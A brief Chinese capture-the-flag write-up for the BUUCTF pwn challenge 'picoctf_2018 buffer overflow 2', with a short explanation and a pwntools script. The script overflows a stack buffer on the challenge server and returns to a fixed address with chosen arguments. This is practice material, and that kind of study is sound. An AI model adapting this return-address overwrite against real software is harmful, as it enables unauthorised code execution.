[BUUCTF-pwn]——picoctf_2018_buffer overflow 2
简单的栈溢出,不过需要将参数自己设置而已
注意负数如何转换为补码, 不知道也可以直接在汇编里面找![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/42e86c4bc3d362908545d67b0e603ed1.png)
from pwn import *
p = remote('node3.buuoj.cn',28931)
a1 = 0xdeadbeef
a2 = 0xdeadc0de
payload = 'a' * (0x6c + 4) + p32(0x080485CB) + p32(0)+ p32(a1) + p32(a2)
p.recvline()
p.send(payload)
p.interactive()